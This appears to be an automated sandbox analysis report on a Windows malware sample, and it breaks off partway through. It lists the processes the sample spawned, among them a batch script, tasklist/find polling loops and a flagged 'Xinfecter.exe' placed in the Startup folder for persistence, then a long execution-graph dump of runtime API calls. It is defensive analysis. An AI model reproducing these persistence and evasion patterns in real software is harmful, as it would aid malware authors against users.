                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:38
                                Start time:07:42:12
                                Start date:06/12/2024
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
                                Imagebase:0x7ff7da720000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:39
                                Start time:07:42:12
                                Start date:06/12/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff6d64d0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:40
                                Start time:07:42:12
                                Start date:06/12/2024
                                Path:C:\Windows\System32\tasklist.exe
                                Wow64 process (32bit):false
                                Commandline:tasklist /v
                                Imagebase:0x7ff62f6e0000
                                File size:106'496 bytes
                                MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:41
                                Start time:07:42:12
                                Start date:06/12/2024
                                Path:C:\Windows\System32\find.exe
                                Wow64 process (32bit):false
                                Commandline:find /I /c "dcdcf"
                                Imagebase:0x7ff6eec10000
                                File size:17'920 bytes
                                MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:42
                                Start time:07:42:17
                                Start date:06/12/2024
                                Path:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe"
                                Imagebase:0xbd0000
                                File size:1'257'984 bytes
                                MD5 hash:682DB93E884F81383CE078DF1353FF1B
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Antivirus matches:
                                • Detection: 100%, Avira
                                • Detection: 100%, Joe Sandbox ML
                                • Detection: 87%, ReversingLabs
                                Has exited:true

                                General

                                Target ID:43
                                Start time:07:42:18
                                Start date:06/12/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff6d64d0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:45
                                Start time:07:42:25
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
                                Imagebase:0x10000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:46
                                Start time:07:42:25
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /I "lEUy79aLAW.exe"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:47
                                Start time:07:42:25
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\timeout.exe
                                Wow64 process (32bit):true
                                Commandline:timeout /t 15 /nobreak
                                Imagebase:0x4b0000
                                File size:25'088 bytes
                                MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:48
                                Start time:07:42:40
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
                                Imagebase:0x10000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:49
                                Start time:07:42:40
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /I "lEUy79aLAW.exe"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:50
                                Start time:07:42:40
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\timeout.exe
                                Wow64 process (32bit):true
                                Commandline:timeout /t 15 /nobreak
                                Imagebase:0x4b0000
                                File size:25'088 bytes
                                MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:52
                                Start time:07:42:55
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
                                Imagebase:0x10000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:53
                                Start time:07:42:55
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /I "lEUy79aLAW.exe"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:54
                                Start time:07:42:55
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\timeout.exe
                                Wow64 process (32bit):true
                                Commandline:timeout /t 15 /nobreak
                                Imagebase:0x4b0000
                                File size:25'088 bytes
                                MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:55
                                Start time:07:43:10
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
                                Imagebase:0x10000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:56
                                Start time:07:43:10
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /I "lEUy79aLAW.exe"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:57
                                Start time:07:43:10
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\timeout.exe
                                Wow64 process (32bit):true
                                Commandline:timeout /t 15 /nobreak
                                Imagebase:0x4b0000
                                File size:25'088 bytes
                                MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:58
                                Start time:07:43:25
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
                                Imagebase:0x10000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:59
                                Start time:07:43:25
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /I "lEUy79aLAW.exe"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:60
                                Start time:07:43:25
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\timeout.exe
                                Wow64 process (32bit):true
                                Commandline:timeout /t 15 /nobreak
                                Imagebase:0x4b0000
                                File size:25'088 bytes
                                MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:61
                                Start time:07:43:40
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv
                                Imagebase:0x10000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:62
                                Start time:07:43:40
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /I "lEUy79aLAW.exe"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                Disassembly

                                Reset < >

                                  Execution Graph

                                  Execution Coverage:4.3%
                                  Dynamic/Decrypted Code Coverage:0%
                                  Signature Coverage:18.7%
                                  Total number of Nodes:2000
                                  Total number of Limit Nodes:35
                                  execution_graph 108575 a836cb 108590 a836a5 108575->108590 108577 a836d9 108578 a83706 108577->108578 108579 a836e7 108577->108579 108581 a83713 108578->108581 108586 a83720 108578->108586 108613 a759b3 108579->108613 108582 a759b3 std::_Stofx_v2 20 API calls 108581->108582 108585 a836ec 108582->108585 108583 a837b0 108602 a838f1 108583->108602 108586->108583 108586->108585 108588 a837a3 108586->108588 108616 a8fc47 108586->108616 108588->108583 108597 a85b37 108588->108597 108591 a836b1 108590->108591 108592 a836c6 108590->108592 108593 a759b3 std::_Stofx_v2 20 API calls 108591->108593 108592->108577 108594 a836b6 108593->108594 108625 a75122 26 API calls __wsopen_s 108594->108625 108596 a836c1 108596->108577 108626 a85b94 108597->108626 108601 a85b5c 108601->108583 108603 a836a5 __fread_nolock 26 API calls 108602->108603 108604 a83900 108603->108604 108605 a83912 108604->108605 108606 a839a4 108604->108606 108608 a8392f 108605->108608 108609 a83955 108605->108609 108607 a8553d __wsopen_s 88 API calls 108606->108607 108611 a8393c 108607->108611 108643 a8553d 108608->108643 108609->108611 108640 a88fdb 108609->108640 108611->108585 108846 a843fe 20 API calls 2 library calls 108613->108846 108615 a759b8 108615->108585 108617 a8fc61 108616->108617 108618 a8fc54 108616->108618 108621 a8fc6d 108617->108621 108622 a759b3 std::_Stofx_v2 20 API calls 108617->108622 108619 a759b3 std::_Stofx_v2 20 API calls 108618->108619 108620 a8fc59 108619->108620 108620->108588 108621->108588 108623 a8fc8e 108622->108623 108847 a75122 26 API calls __wsopen_s 108623->108847 108625->108596 108627 a85bd2 108626->108627 108631 a85ba2 std::_Locinfo::_W_Getmonths 108626->108631 108629 a759b3 std::_Stofx_v2 20 API calls 108627->108629 108628 a85bbd RtlAllocateHeap 108630 a85b52 108628->108630 108628->108631 108629->108630 108633 a84d66 108630->108633 108631->108627 108631->108628 108639 a7cfdd 7 API calls 2 library calls 108631->108639 108634 a84d9a __dosmaperr 108633->108634 108635 a84d71 HeapFree 108633->108635 108634->108601 108635->108634 108636 a84d86 108635->108636 108637 a759b3 std::_Stofx_v2 18 API calls 108636->108637 108638 a84d8c GetLastError 108637->108638 108638->108634 108639->108631 108668 a88e58 108640->108668 108642 a88ff1 108642->108611 108644 a85549 CallCatchBlock 108643->108644 108645 a85569 108644->108645 108646 a85551 108644->108646 108648 a85607 108645->108648 108652 a8559e 108645->108652 108647 a759a0 __dosmaperr 20 API calls 108646->108647 108649 a85556 108647->108649 108650 a759a0 __dosmaperr 20 API calls 108648->108650 108651 a759b3 std::_Stofx_v2 20 API calls 108649->108651 108653 a8560c 108650->108653 108662 a8555e __wsopen_s 108651->108662 108724 a8cba4 EnterCriticalSection 108652->108724 108655 a759b3 std::_Stofx_v2 20 API calls 108653->108655 108657 a85614 108655->108657 108656 a855a4 108658 a855c0 108656->108658 108659 a855d5 108656->108659 108779 a75122 26 API calls __wsopen_s 108657->108779 108661 a759b3 std::_Stofx_v2 20 API calls 108658->108661 108725 a85628 108659->108725 108664 a855c5 108661->108664 108662->108611 108666 a759a0 __dosmaperr 20 API calls 108664->108666 108665 a855d0 108778 a855ff LeaveCriticalSection __wsopen_s 108665->108778 108666->108665 108669 a88e64 CallCatchBlock 108668->108669 108670 a88e6c 108669->108670 108671 a88e84 108669->108671 108703 a759a0 108670->108703 108673 a88f38 108671->108673 108678 a88ebc 108671->108678 108675 a759a0 __dosmaperr 20 API calls 108673->108675 108677 a88f3d 108675->108677 108676 a759b3 std::_Stofx_v2 20 API calls 108679 a88e79 __wsopen_s 108676->108679 108680 a759b3 std::_Stofx_v2 20 API calls 108677->108680 108693 a8cba4 EnterCriticalSection 108678->108693 108679->108642 108682 a88f45 108680->108682 108707 a75122 26 API calls __wsopen_s 108682->108707 108683 a88ec2 108685 a88efb 108683->108685 108686 a88ee6 108683->108686 108694 a88f5d 108685->108694 108687 a759b3 std::_Stofx_v2 20 API calls 108686->108687 108689 a88eeb 108687->108689 108690 a759a0 __dosmaperr 20 API calls 108689->108690 108691 a88ef6 108690->108691 108706 a88f30 LeaveCriticalSection __wsopen_s 108691->108706 108693->108683 108708 a8ce21 108694->108708 108696 a88f6f 108697 a88f88 SetFilePointerEx 108696->108697 108698 a88f77 108696->108698 108699 a88f7c 108697->108699 108700 a88fa0 GetLastError 108697->108700 108701 a759b3 std::_Stofx_v2 20 API calls 108698->108701 108699->108691 108721 a7597d 20 API calls 2 library calls 108700->108721 108701->108699 108723 a843fe 20 API calls 2 library calls 108703->108723 108705 a759a5 108705->108676 108706->108679 108707->108679 108709 a8ce2e 108708->108709 108710 a8ce43 108708->108710 108711 a759a0 __dosmaperr 20 API calls 108709->108711 108713 a759a0 __dosmaperr 20 API calls 108710->108713 108716 a8ce68 108710->108716 108712 a8ce33 108711->108712 108715 a759b3 std::_Stofx_v2 20 API calls 108712->108715 108714 a8ce73 108713->108714 108717 a759b3 std::_Stofx_v2 20 API calls 108714->108717 108718 a8ce3b 108715->108718 108716->108696 108719 a8ce7b 108717->108719 108718->108696 108722 a75122 26 API calls __wsopen_s 108719->108722 108721->108699 108722->108718 108723->108705 108724->108656 108726 a85656 108725->108726 108764 a8564f 108725->108764 108727 a85679 108726->108727 108728 a8565a 108726->108728 108731 a856ca 108727->108731 108732 a856ad 108727->108732 108730 a759a0 __dosmaperr 20 API calls 108728->108730 108734 a8565f 108730->108734 108736 a856e0 108731->108736 108780 a88ff6 108731->108780 108735 a759a0 __dosmaperr 20 API calls 108732->108735 108733 a85830 108733->108665 108737 a759b3 std::_Stofx_v2 20 API calls 108734->108737 108738 a856b2 108735->108738 108783 a851cd 108736->108783 108740 a85666 108737->108740 108742 a759b3 std::_Stofx_v2 20 API calls 108738->108742 108797 a75122 26 API calls __wsopen_s 108740->108797 108747 a856ba 108742->108747 108745 a856ee 108748 a856f2 108745->108748 108749 a85714 108745->108749 108746 a85727 108751 a8573b 108746->108751 108752 a85781 WriteFile 108746->108752 108798 a75122 26 API calls __wsopen_s 108747->108798 108753 a857e8 108748->108753 108799 a85160 GetLastError WriteConsoleW CreateFileW __wsopen_s 108748->108799 108800 a84fad 71 API calls 3 library calls 108749->108800 108756 a85771 108751->108756 108757 a85743 108751->108757 108755 a857a4 GetLastError 108752->108755 108760 a8570a 108752->108760 108753->108764 108765 a759b3 std::_Stofx_v2 20 API calls 108753->108765 108755->108760 108790 a85243 108756->108790 108761 a85748 108757->108761 108762 a85761 108757->108762 108760->108753 108760->108764 108769 a857c4 108760->108769 108761->108753 108766 a85751 108761->108766 108802 a85410 8 API calls 2 library calls 108762->108802 108804 a505bb 108764->108804 108768 a8580d 108765->108768 108801 a85322 7 API calls 2 library calls 108766->108801 108767 a8575f 108767->108760 108771 a759a0 __dosmaperr 20 API calls 108768->108771 108772 a857cb 108769->108772 108773 a857df 108769->108773 108771->108764 108775 a759b3 std::_Stofx_v2 20 API calls 108772->108775 108803 a7597d 20 API calls 2 library calls 108773->108803 108776 a857d0 108775->108776 108777 a759a0 __dosmaperr 20 API calls 108776->108777 108777->108764 108778->108662 108779->108662 108781 a88f5d __wsopen_s 28 API calls 108780->108781 108782 a8900c 108781->108782 108782->108736 108784 a8fc47 __fread_nolock 26 API calls 108783->108784 108785 a851dd 108784->108785 108786 a851e2 108785->108786 108811 a8437a GetLastError 108785->108811 108786->108745 108786->108746 108788 a85205 108788->108786 108789 a85223 GetConsoleMode 108788->108789 108789->108786 108794 a85252 __wsopen_s 108790->108794 108791 a85305 108792 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 108791->108792 108796 a8531e 108792->108796 108793 a852c4 WriteFile 108793->108794 108795 a85307 GetLastError 108793->108795 108794->108791 108794->108793 108795->108791 108796->108760 108797->108764 108798->108764 108799->108760 108800->108760 108801->108767 108802->108767 108803->108764 108805 a505c4 108804->108805 108806 a505c6 IsProcessorFeaturePresent 108804->108806 108805->108733 108808 a517a9 108806->108808 108845 a5176d SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 108808->108845 108810 a5188c 108810->108733 108812 a84396 108811->108812 108813 a84390 108811->108813 108817 a843e5 SetLastError 108812->108817 108832 a84d09 108812->108832 108831 a82fe9 11 API calls 2 library calls 108813->108831 108817->108788 108819 a84d66 _free 20 API calls 108821 a843b6 108819->108821 108820 a843c5 108822 a843b0 108820->108822 108823 a843cc 108820->108823 108824 a843f1 SetLastError 108821->108824 108822->108819 108842 a841ec 20 API calls std::_Stofx_v2 108823->108842 108843 a7ca79 64 API calls 3 library calls 108824->108843 108827 a843d7 108829 a84d66 _free 20 API calls 108827->108829 108828 a843fd 108830 a843de 108829->108830 108830->108817 108830->108824 108831->108812 108833 a84d16 108832->108833 108834 a84d56 108833->108834 108835 a84d41 HeapAlloc 108833->108835 108839 a84d2a std::_Locinfo::_W_Getmonths 108833->108839 108837 a759b3 std::_Stofx_v2 19 API calls 108834->108837 108836 a84d54 108835->108836 108835->108839 108838 a843a8 108836->108838 108837->108838 108838->108822 108841 a8303f 11 API calls 2 library calls 108838->108841 108839->108834 108839->108835 108844 a7cfdd 7 API calls 2 library calls 108839->108844 108841->108820 108842->108827 108843->108828 108844->108839 108845->108810 108846->108615 108847->108620 108848 a84b7b 108853 a848b2 108848->108853 108851 a84ba3 108854 a848e3 try_get_first_available_module 108853->108854 108861 a84a2c 108854->108861 108868 a8fc9d 66 API calls 2 library calls 108854->108868 108855 a759b3 std::_Stofx_v2 20 API calls 108856 a84ae2 108855->108856 108871 a75122 26 API calls __wsopen_s 108856->108871 108858 a84a37 108858->108851 108865 a909b9 108858->108865 108860 a84a80 108860->108861 108869 a8fc9d 66 API calls 2 library calls 108860->108869 108861->108855 108861->108858 108863 a84a9f 108863->108861 108870 a8fc9d 66 API calls 2 library calls 108863->108870 108872 a90045 108865->108872 108867 a909d4 108867->108851 108868->108860 108869->108863 108870->108861 108871->108858 108873 a90051 CallCatchBlock 108872->108873 108874 a9005f 108873->108874 108877 a90098 108873->108877 108875 a759b3 std::_Stofx_v2 20 API calls 108874->108875 108876 a90064 108875->108876 108930 a75122 26 API calls __wsopen_s 108876->108930 108883 a90690 108877->108883 108882 a9006e __wsopen_s 108882->108867 108932 a903f3 108883->108932 108886 a906db 108950 a8cc7e 108886->108950 108887 a906c2 108889 a759a0 __dosmaperr 20 API calls 108887->108889 108902 a906c7 108889->108902 108890 a906e0 108891 a906e9 108890->108891 108892 a90700 108890->108892 108893 a759a0 __dosmaperr 20 API calls 108891->108893 108963 a9035e CreateFileW 108892->108963 108896 a906ee 108893->108896 108895 a759b3 std::_Stofx_v2 20 API calls 108897 a900bc 108895->108897 108898 a759b3 std::_Stofx_v2 20 API calls 108896->108898 108931 a900e5 LeaveCriticalSection __wsopen_s 108897->108931 108898->108902 108899 a907b6 GetFileType 108900 a90808 108899->108900 108901 a907c1 GetLastError 108899->108901 108964 a8cbc7 108900->108964 108990 a7597d 20 API calls 2 library calls 108901->108990 108902->108895 108903 a9078b GetLastError 108989 a7597d 20 API calls 2 library calls 108903->108989 108906 a90739 108906->108899 108906->108903 108988 a9035e CreateFileW 108906->108988 108907 a907cf CloseHandle 108907->108902 108911 a907f8 108907->108911 108910 a9077e 108910->108899 108910->108903 108913 a759b3 std::_Stofx_v2 20 API calls 108911->108913 108915 a907fd 108913->108915 108914 a90875 108919 a908a2 108914->108919 108991 a90111 97 API calls 4 library calls 108914->108991 108915->108902 108918 a9089b 108918->108919 108920 a908b3 108918->108920 108992 a8595d 108919->108992 108920->108897 108922 a90931 CloseHandle 108920->108922 109007 a9035e CreateFileW 108922->109007 108924 a9095c 108925 a90992 108924->108925 108926 a90966 GetLastError 108924->108926 108925->108897 109008 a7597d 20 API calls 2 library calls 108926->109008 108928 a90972 109009 a8cd90 21 API calls 3 library calls 108928->109009 108930->108882 108931->108882 108933 a9042e 108932->108933 108934 a90414 108932->108934 109010 a90383 108933->109010 108934->108933 108936 a759b3 std::_Stofx_v2 20 API calls 108934->108936 108937 a90423 108936->108937 109017 a75122 26 API calls __wsopen_s 108937->109017 108939 a90495 108948 a904e8 108939->108948 109019 a8046e 26 API calls 2 library calls 108939->109019 108940 a90466 108940->108939 108941 a759b3 std::_Stofx_v2 20 API calls 108940->108941 108944 a9048a 108941->108944 108943 a904e3 108945 a90562 108943->108945 108943->108948 109018 a75122 26 API calls __wsopen_s 108944->109018 109020 a7514f 11 API calls _abort 108945->109020 108948->108886 108948->108887 108949 a9056e 108951 a8cc8a CallCatchBlock 108950->108951 109022 a7c20b EnterCriticalSection 108951->109022 108953 a8ccd8 109023 a8cd87 108953->109023 108955 a8cc91 108955->108953 108956 a8ccb6 108955->108956 108960 a8cd24 EnterCriticalSection 108955->108960 109026 a8ca5d 21 API calls 3 library calls 108956->109026 108957 a8cd01 __wsopen_s 108957->108890 108959 a8ccbb 108959->108953 109027 a8cba4 EnterCriticalSection 108959->109027 108960->108953 108961 a8cd31 LeaveCriticalSection 108960->108961 108961->108955 108963->108906 108965 a8cc3f 108964->108965 108966 a8cbd6 108964->108966 108967 a759b3 std::_Stofx_v2 20 API calls 108965->108967 108966->108965 108971 a8cbfc __wsopen_s 108966->108971 108968 a8cc44 108967->108968 108969 a759a0 __dosmaperr 20 API calls 108968->108969 108970 a8cc2c 108969->108970 108970->108914 108973 a9056f 108970->108973 108971->108970 108972 a8cc26 SetStdHandle 108971->108972 108972->108970 108974 a90599 108973->108974 108975 a90595 108973->108975 108974->108975 108976 a88ff6 __wsopen_s 28 API calls 108974->108976 108975->108914 108977 a905ab 108976->108977 108978 a905bb 108977->108978 108979 a905d1 108977->108979 108980 a759a0 __dosmaperr 20 API calls 108978->108980 109029 a88aa3 108979->109029 108982 a905c0 108980->108982 108982->108975 108985 a759b3 std::_Stofx_v2 20 API calls 108982->108985 108984 a905f9 108984->108982 108986 a88ff6 __wsopen_s 28 API calls 108984->108986 108985->108975 108986->108982 108988->108910 108989->108902 108990->108907 108991->108918 108993 a8ce21 __wsopen_s 26 API calls 108992->108993 108996 a8596d 108993->108996 108994 a85973 109100 a8cd90 21 API calls 3 library calls 108994->109100 108996->108994 108997 a8ce21 __wsopen_s 26 API calls 108996->108997 109006 a859a5 108996->109006 109000 a8599c 108997->109000 108998 a8ce21 __wsopen_s 26 API calls 109001 a859b1 CloseHandle 108998->109001 108999 a859cb 109002 a859ed 108999->109002 109101 a7597d 20 API calls 2 library calls 108999->109101 109003 a8ce21 __wsopen_s 26 API calls 109000->109003 109001->108994 109004 a859bd GetLastError 109001->109004 109002->108897 109003->109006 109004->108994 109006->108994 109006->108998 109007->108924 109008->108928 109009->108925 109013 a9039b 109010->109013 109011 a903b6 109011->108940 109012 a759b3 std::_Stofx_v2 20 API calls 109014 a903da 109012->109014 109013->109011 109013->109012 109021 a75122 26 API calls __wsopen_s 109014->109021 109016 a903e5 109016->108940 109017->108933 109018->108939 109019->108943 109020->108949 109021->109016 109022->108955 109028 a7c253 LeaveCriticalSection 109023->109028 109025 a8cd8e 109025->108957 109026->108959 109027->108953 109028->109025 109030 a88acd 109029->109030 109031 a88ab5 109029->109031 109033 a88e37 109030->109033 109038 a88b12 109030->109038 109032 a759a0 __dosmaperr 20 API calls 109031->109032 109034 a88aba 109032->109034 109035 a759a0 __dosmaperr 20 API calls 109033->109035 109036 a759b3 std::_Stofx_v2 20 API calls 109034->109036 109037 a88e3c 109035->109037 109039 a88ac2 109036->109039 109040 a759b3 std::_Stofx_v2 20 API calls 109037->109040 109038->109039 109041 a88b1d 109038->109041 109045 a88b4d 109038->109045 109039->108984 109094 a93441 88 API calls 4 library calls 109039->109094 109042 a88b2a 109040->109042 109043 a759a0 __dosmaperr 20 API calls 109041->109043 109099 a75122 26 API calls __wsopen_s 109042->109099 109044 a88b22 109043->109044 109047 a759b3 std::_Stofx_v2 20 API calls 109044->109047 109048 a88b66 109045->109048 109049 a88ba8 109045->109049 109050 a88b8c 109045->109050 109047->109042 109048->109050 109084 a88b73 109048->109084 109053 a85b94 std::_Locinfo::_W_Getmonths 21 API calls 109049->109053 109051 a759a0 __dosmaperr 20 API calls 109050->109051 109052 a88b91 109051->109052 109055 a759b3 std::_Stofx_v2 20 API calls 109052->109055 109054 a88bbf 109053->109054 109057 a84d66 _free 20 API calls 109054->109057 109058 a88b98 109055->109058 109056 a8fc47 __fread_nolock 26 API calls 109059 a88d11 109056->109059 109060 a88bc8 109057->109060 109095 a75122 26 API calls __wsopen_s 109058->109095 109062 a88d87 109059->109062 109065 a88d2a GetConsoleMode 109059->109065 109063 a84d66 _free 20 API calls 109060->109063 109064 a88d8b ReadFile 109062->109064 109066 a88bcf 109063->109066 109067 a88dff GetLastError 109064->109067 109068 a88da5 109064->109068 109065->109062 109069 a88d3b 109065->109069 109070 a88bd9 109066->109070 109071 a88bf4 109066->109071 109072 a88e0c 109067->109072 109080 a88d63 109067->109080 109068->109067 109078 a88d7c 109068->109078 109069->109064 109073 a88d41 ReadConsoleW 109069->109073 109075 a759b3 std::_Stofx_v2 20 API calls 109070->109075 109077 a88ff6 __wsopen_s 28 API calls 109071->109077 109076 a759b3 std::_Stofx_v2 20 API calls 109072->109076 109073->109078 109079 a88d5d GetLastError 109073->109079 109074 a84d66 _free 20 API calls 109074->109039 109082 a88bde 109075->109082 109083 a88e11 109076->109083 109077->109084 109087 a88dca 109078->109087 109088 a88de1 109078->109088 109090 a88ba3 __fread_nolock 109078->109090 109079->109080 109080->109090 109096 a7597d 20 API calls 2 library calls 109080->109096 109085 a759a0 __dosmaperr 20 API calls 109082->109085 109086 a759a0 __dosmaperr 20 API calls 109083->109086 109084->109056 109085->109090 109086->109090 109097 a887bf 31 API calls 4 library calls 109087->109097 109089 a88df8 109088->109089 109088->109090 109098 a885ff 29 API calls __wsopen_s 109089->109098 109090->109074 109093 a88dfd 109093->109090 109094->108984 109095->109090 109096->109090 109097->109090 109098->109093 109099->109039 109100->108999 109101->109002 109102 9d6808 InternetReadFile 109103 9d6800 SimpleUString::operator= 109102->109103 109103->109102 109105 9d62ad Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 109103->109105 109112 9fbba0 28 API calls 5 library calls 109103->109112 109106 9d69cd 109105->109106 109108 9d62fb Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 109105->109108 109113 a75132 109106->109113 109109 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 109108->109109 109111 9d66b2 109109->109111 109112->109103 109118 a750a7 26 API calls 4 library calls 109113->109118 109115 a75141 109119 a7514f 11 API calls _abort 109115->109119 109117 a7514e 109118->109115 109119->109117 109120 a75182 109144 a86b4b 109120->109144 109123 a751be 109126 a751c2 109123->109126 109127 a751df 109123->109127 109124 a75277 109157 a7514f 11 API calls _abort 109124->109157 109133 a751d4 109126->109133 109147 a86e62 109126->109147 109130 a759b3 std::_Stofx_v2 20 API calls 109127->109130 109127->109133 109128 a75281 109134 a751fb 109130->109134 109131 a84d66 _free 20 API calls 109132 a75263 109131->109132 109135 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 109132->109135 109133->109131 109136 a759b3 